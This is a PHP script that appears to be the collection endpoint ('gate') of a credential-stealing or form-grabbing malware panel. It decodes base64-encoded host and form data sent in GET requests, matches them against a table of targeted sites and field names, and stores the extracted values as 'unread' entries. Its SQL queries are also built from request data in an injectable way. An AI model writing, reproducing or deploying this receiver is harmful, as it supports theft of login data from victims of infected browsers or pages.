<?php
include("config/init.php");
$host = @base64_decode(protect($_GET['Host']));
if(!empty($host) ) {
$host = str_replace("https://", "", $host);
$host = str_replace("http://", "", $host);
$host = str_replace("www.", "", $host);
if(strstr($host, '/')) {
$ex = explode('/', $host);
$host = $ex[0];
}
print($host);
$check_host = mysql_query("SELECT `host` FROM sites");
$found = false;
while($row = mysql_fetch_assoc($check_host)) {
$h = $row['host'];
print("does $host contain $h</br>");
if(strstr($host, $row['host'])) {
$found = true;
$thehost = $row['host'];
}
}
$check_host = mysql_query("SELECT * FROM sites WHERE `host`='$thehost'");
if($found) {
while($row = mysql_fetch_array($check_host)) {
$items = $row;
}
$data = protect(base64_decode($_GET['Data']));
$parseinfo = "";
for($i = 1; $i < count($items)-5; $i+= 1) {
if(strstr($data, $items[$i])) {
$values = explode('&', $data);
for($j = 0; $j < count($values); $j+=1) {
$parts = explode('=', $values[$j]);
print("is " . strtolower($parts[0]) . " = $items[$i]");
if(strtolower($parts[0]) == $items[$i]) {
$the_real = explode('=', $values[$j]);
if($j < count($values)) {
$parseinfo .= $the_real[1] . " ";
} else {
$parseinfo .= $the_real[1];
}
}
}
}
}
$bits = explode(' ', $parseinfo);
$id1 = @$bits[0];
$id2 = @$bits[1];
$id3 = @$bits[2];
$query1 = mysql_query("SELECT * FROM gate WHERE(`host`='$host' AND `id1`='$id1' AND `id2`='$id2' AND `id3`='$id3')");
$exists = mysql_num_rows($query1);
if($exists == 0) {
$date = date("Y/m/d");
$time = date("h:i");
$when = "$date - $time";
if(!empty($host) and !empty($id1) or !empty($id2) or !empty($id3)) {
$query = mysql_query("INSERT INTO gate (`host`, `id1`, `id2`, `id3`, `when`,`status`)
VALUES ('$host', '$id1', '$id2', '$id3', '$when','unread')") or die(mysql_error());
} else {
print("LOL");
}
} else {
print("Already contains this info");
}
} else {
print("No match");
}
}
?>